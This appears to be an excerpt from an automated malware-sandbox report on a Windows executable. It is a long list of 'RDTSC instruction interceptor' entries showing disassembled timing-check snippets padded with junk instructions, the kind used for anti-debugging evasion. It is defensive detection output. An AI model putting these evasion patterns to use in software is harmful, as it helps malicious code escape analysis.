Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7900A8 second address: 7900AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C599D second address: 7C59A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C5B2F second address: 7C5B33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C6214 second address: 7C621B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C63AC second address: 7C63C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F4AB0EAD876h 0x0000000c popad 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jl 00007F4AB0EAD876h 0x00000017 push eax 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C63C7 second address: 7C63CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C63CF second address: 7C63D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C7FD7 second address: 7C7FE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C7FE1 second address: 7C7FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C7FE7 second address: 7C7FEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C7FEB second address: 7C8004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 jne 00007F4AB0EAD876h 0x0000000f jnp 00007F4AB0EAD876h 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C8004 second address: 7C800F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4AB14441F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 73ACAF second address: 73ACB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D0BB9 second address: 7D0BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D1178 second address: 7D1180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D1180 second address: 7D1188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D1468 second address: 7D1472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F4AB0EAD876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D1472 second address: 7D147C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4AB14441F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D173A second address: 7D1753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB0EAD884h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D1753 second address: 7D1759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D046B second address: 7D046F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D046F second address: 7D0499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB14441FEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F4AB14441FEh 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D0499 second address: 7D04AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB0EAD87Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D04AB second address: 7D04C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444209h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D411A second address: 7D4122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D4122 second address: 7D4146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b jno 00007F4AB1444202h 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D428E second address: 7D42A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F4AB0EAD87Eh 0x0000000c jnc 00007F4AB0EAD876h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D42A2 second address: 7D42AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7D7062 second address: 7D7097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F4AB0EAD886h 0x0000000b jmp 00007F4AB0EAD880h 0x00000010 popad 0x00000011 jnp 00007F4AB0EAD882h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7DE3A1 second address: 7DE3BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB1444209h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7DE3BE second address: 7DE3D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD87Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F4AB0EAD878h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 73FE66 second address: 73FE6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 73FE6C second address: 73FE8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F4AB0EAD876h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7DD748 second address: 7DD74C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7DD74C second address: 7DD752 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7DD752 second address: 7DD789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4AB1444207h 0x0000000b pop esi 0x0000000c pushad 0x0000000d jbe 00007F4AB14441FEh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jng 00007F4AB14441F6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7DD8B9 second address: 7DD8C3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4AB0EAD876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7DDA2C second address: 7DDA38 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pop edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7DDA38 second address: 7DDA42 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4AB0EAD882h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7DDA42 second address: 7DDA4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4AB14441F6h 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7DDCAD second address: 7DDCC7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnp 00007F4AB0EAD876h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007F4AB0EAD87Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7DDCC7 second address: 7DDCD4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7DDCD4 second address: 7DDCD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7DDCD8 second address: 7DDCE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB14441FCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7DDE2C second address: 7DDE35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7E13B2 second address: 7E13CF instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4AB14441F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4AB1444201h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7E10F1 second address: 7E10F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7E10F5 second address: 7E110F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4AB1444202h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7E59DB second address: 7E59F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AB0EAD887h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7E59F6 second address: 7E59FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7E5F80 second address: 7E5F84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78FAB8 second address: 78FAE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB14441FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b cld 0x0000000c push 00000004h 0x0000000e mov edi, dword ptr [ebp+122D3881h] 0x00000014 nop 0x00000015 pushad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jnl 00007F4AB14441F6h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 pop esi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78FAE3 second address: 78FB15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jl 00007F4AB0EAD889h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4AB0EAD87Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7EC599 second address: 7EC59E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7EC757 second address: 7EC75E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7EC75E second address: 7EC76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F4AB14441F6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7EC76D second address: 7EC777 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4AB0EAD876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7EC8A5 second address: 7EC8AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F4AB14441F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7ECBCA second address: 7ECBE1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4AB0EAD87Ah 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7ECBE1 second address: 7ECC03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4AB1444200h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007F4AB14441FCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7ED4F1 second address: 7ED4F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7ED4F5 second address: 7ED4F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7ED4F9 second address: 7ED504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7ED504 second address: 7ED51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB1444206h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7ED51E second address: 7ED52D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4AB0EAD876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7EDAFF second address: 7EDB03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7EDB03 second address: 7EDB0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7EDB0F second address: 7EDB13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7F7A21 second address: 7F7A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007F4AB0EAD87Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7F7A37 second address: 7F7A45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F4AB14441F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7F7A45 second address: 7F7A55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD87Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7F6C99 second address: 7F6C9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7F6C9F second address: 7F6CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7F6E22 second address: 7F6E5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444200h 0x00000007 jo 00007F4AB14441F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jg 00007F4AB1444210h 0x00000015 jmp 00007F4AB1444204h 0x0000001a jns 00007F4AB14441F6h 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7F6FAF second address: 7F6FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pushad 0x00000007 jc 00007F4AB0EAD876h 0x0000000d jbe 00007F4AB0EAD876h 0x00000013 jmp 00007F4AB0EAD886h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7F73A4 second address: 7F73B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 js 00007F4AB1444202h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7FE999 second address: 7FE99E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7FE99E second address: 7FE9AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7FEC61 second address: 7FEC65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7FEC65 second address: 7FEC83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB1444208h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7FEC83 second address: 7FEC89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7FEC89 second address: 7FEC8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7FF0CC second address: 7FF0DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB0EAD87Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7FF0DF second address: 7FF10B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB14441FCh 0x00000007 jno 00007F4AB14441F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4AB14441FEh 0x00000016 jnl 00007F4AB14441F6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7FF10B second address: 7FF115 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4AB0EAD876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7FF115 second address: 7FF129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4AB14441FCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7FF296 second address: 7FF2B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB0EAD884h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7FE137 second address: 7FE13B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7FE13B second address: 7FE14F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F4AB0EAD87Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 8069CE second address: 8069D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 8069D4 second address: 8069E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F4AB0EAD87Eh 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 8069E4 second address: 8069E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 8069E8 second address: 806A12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD887h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4AB0EAD87Fh 0x0000000e rdtsc
